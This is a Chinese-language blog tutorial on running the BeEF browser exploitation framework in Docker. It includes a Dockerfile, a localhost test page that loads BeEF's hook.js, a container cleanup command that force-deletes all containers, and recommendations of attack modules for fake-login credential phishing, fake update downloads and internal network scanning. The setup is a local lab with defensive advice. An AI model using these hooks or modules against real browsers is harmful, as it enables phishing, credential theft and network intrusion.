Docker 搭建 BeEF XSS 平台

35次阅读
没有评论

📌 前言

最近在研究 XSS 漏洞的深层利用,决定搭建一个 BeEF (The Browser Exploitation Framework) 平台。BeEF 是一个强大的专注于 Web 浏览器的渗透测试框架。

由于 BeEF 环境依赖较多,直接源码安装容易出错,所以我选择了 Docker 方式搭建。过程中踩了不少坑(密码报错、端口冲突、上线失败),特此记录最终的完美解决方案。

🛠️ 环境准备

  • Windows 10 / 11 (安装了 Docker Desktop)

🚧 遇到的坑与解决方案

1. 默认密码启动失败

直接使用 docker pull beefproject/beef 并运行,会报错退出:

[!] ERROR: Default username and password in use!

原因 :BeEF 出于安全考虑,强制要求修改默认的配置文件 config.yaml 中的密码。
尝试:试图通过 -e 环境变量修改无效,必须修改文件内容。

2. docker commit 导致无法启动

尝试进入容器修改密码后 commit 成新镜像,结果再次运行时没反应。
原因:commit 操作意外保存了 /bin/bash 作为启动入口,导致 BeEF 主程序未运行。

✅ 最终完美方案:Dockerfile 构建

为了一劳永逸地解决密码修改、启动入口和端口配置问题,推荐编写一个 Dockerfile 来构建专属镜像。

第一步:创建工作目录

新建一个文件夹(如 beef_docker),在里面新建一个名为 Dockerfile 的文件(无后缀)。

第二步:编写 Dockerfile

将以下内容填入文件:

FROM beefproject/beef

# 1. 修改默认账号密码 (将 "your_password" 替换为你想要的强密码)
# 注意:passwd: 后面必须有一个空格,"beef" 前面也要有空格
RUN sed -i 's/passwd:"beef"/passwd:"your_password"/' config.yaml

# 2. (可选) 如果你打算修改外部映射端口(例如用 3001),建议修改 public_port
# 如果你还是用 3000 端口,下面这行可以注释掉
# RUN sed -i 's/public_port:"3000"/public_port:"3001"/' config.yaml

# 3. 强制指定启动入口,防止 commit 带来的 entrypoint 丢失问题
ENTRYPOINT ["./beef"]

第三步:构建并启动

在当前目录下打开终端(CMD/PowerShell),执行:

# 1. 构建镜像
docker build -t beef-custom .

# 2. 启动容器 (确保本地 3000 端口未被占用)
docker run -d -p 3000:3000 --name my-beef beef-custom

提示:如果 3000 端口被占用,请先使用 docker rm -f $(docker ps -aq) 清理冲突容器,或者修改 Dockerfile 中的 public_port 后映射其他端口。


💻 使用指南

1. 登录后台

  • 管理地址http://localhost:3000/ui/panel
  • Hook URLhttp://localhost:3000/hook.js

2. 模拟受害者 (上线测试)

创建一个 test.html 文件,插入钩子代码:

<!DOCTYPE html>
<html>
<head>
    <title>XSS Test</title>
    <!-- 引入钩子 -->
    <script src="http://localhost:3000/hook.js"></script>
</head>
<body>
    <h1>BeEF 测试页面 </h1>
</body>
</html>

⚠️ 关键点:不要直接双击打开 HTML (file:// 协议),可能会因为跨域策略导致不上线。建议用 Python 开启临时服务:

# 在 html 文件目录下运行
python -m http.server 8000

然后访问 http://localhost:8000/test.html

此时,BeEF 后台的 Online Browsers 列表应该会出现你的浏览器 IP。


🔍 BeEF 模块解析

在后台选中受害者后,可以在 Commands 选项卡看到各种攻击模块。

  • 为什么大部分是绿色的?
    绿色代表该模块在当前浏览器适用。通常通过标准 JS API 实现(如获取 Cookie、页面重定向、弹窗),并非利用系统溢出漏洞,所以现代浏览器普遍“中招”(不止绿色的模块可以使用)。
  • 推荐尝试的模块
    1. Browser -> Hooked Domain -> Create Alert Dialog:弹窗测试,验证控制权。
    2. Social Engineering -> Pretty Theft:伪造 Facebook/Google 登录框,钓鱼窃取密码(实战中危害最大)。
    3. Social Engineering -> Fake Flash Update:诱导下载恶意文件。
    4. Network -> Ping Sweep:利用受害者浏览器作为跳板,扫描其内网存活主机。

📝 总结

搭建 BeEF 最大的难点在于 Docker 的配置修改端口映射逻辑。通过编写 Dockerfile,我们可以将配置固化,避免每次重启都要手动修改的麻烦。

BeEF 揭示了 XSS 漏洞不仅仅是弹个窗那么简单,结合社会工程学和内网探测,它能成为极其危险的攻击入口。作为防御者,做好输入过滤和 CSP 策略至关重要。

正文完
 0
评论(没有评论)